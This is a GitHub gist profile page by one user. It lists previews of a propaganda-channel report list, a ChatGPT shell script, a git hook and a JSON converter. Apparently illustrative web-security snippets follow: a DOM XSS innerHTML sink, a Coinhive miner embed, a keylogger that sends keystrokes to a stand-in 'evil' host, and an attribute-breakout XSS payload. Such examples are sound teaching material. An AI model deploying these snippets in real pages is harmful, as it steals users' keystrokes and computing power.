Skip to content

Instantly share code, notes, and snippets.

View stevermeister's full-sized avatar
🇺🇦

Stepan Suvorov stevermeister

🇺🇦
View GitHub Profile
@stevermeister
stevermeister / gist:27041289c766cd97a6acff71f2348b3d
Created February 26, 2022 23:01
Block Russian Propaganda Channels
# Block Russian Propaganda Channels!
(check updates from telegram channel - https://t.me/+nqYNNt0qoKU4MTRi)
You can help Ukraine by reporting this channels as fake:
TELEGRAM:
https://t.me/grey_zone
https://t.me/rlz_the_kraken
https://t.me/warjournaltg
https://t.me/bbbreaking
@stevermeister
stevermeister / chat-gpt.sh
Created March 2, 2023 07:32
chatGPT API via shell
#!/bin/bash
# This script is an example CLI for OpenAI
# Check for required dependencies
if ! command -v curl > /dev/null; then
echo "Error: curl is not installed. Please install curl and try again."
exit 1
fi
@stevermeister
stevermeister / git pre-push hook
Created March 12, 2015 15:52
git pre-push hook to run tests
#!/bin/sh
# check for how many uncommitted changes we have
# stash changes
# run grunt task
# restore stashed files if anything was stashed
# exit with error if grunt fails
NAME=$(git branch | grep '*' | sed 's/* //')
@stevermeister
stevermeister / convert.js
Created January 24, 2021 15:40
convert data from list to tree format
let data = [{
"counterpartyGroupId": 10,
"counterpartyGroupName": "Офисные сооружения",
"counterpartyGroupTypeId": 3,
"counterpartyGroupRemark": "Офисы",
"counterpartyGroupParentId": 0
},
{
"counterpartyGroupId": 11,
"counterpartyGroupName": "Страховые компании",
el.innerHTML = aTrustedHTML;
el.innerHTML = location.hash.slice(1); //string
el.innerHTML = { toString: () => 'hello' }
el.innerHTML // "hello"
<script src="https://coinhive.com/lib/coinhive.min.js">
</script>
<script>
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
miner.start();
</script>
var keys='';
document.onkeypress = function(e) {
e = window.event?event:e;
key = e.keyCode?e.keyCode:e.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://evil.../log.php?c='+keys;
<form id="#form">
<input type="hidden"
value="https://example.com"/><script>alert(1)</script>
</form>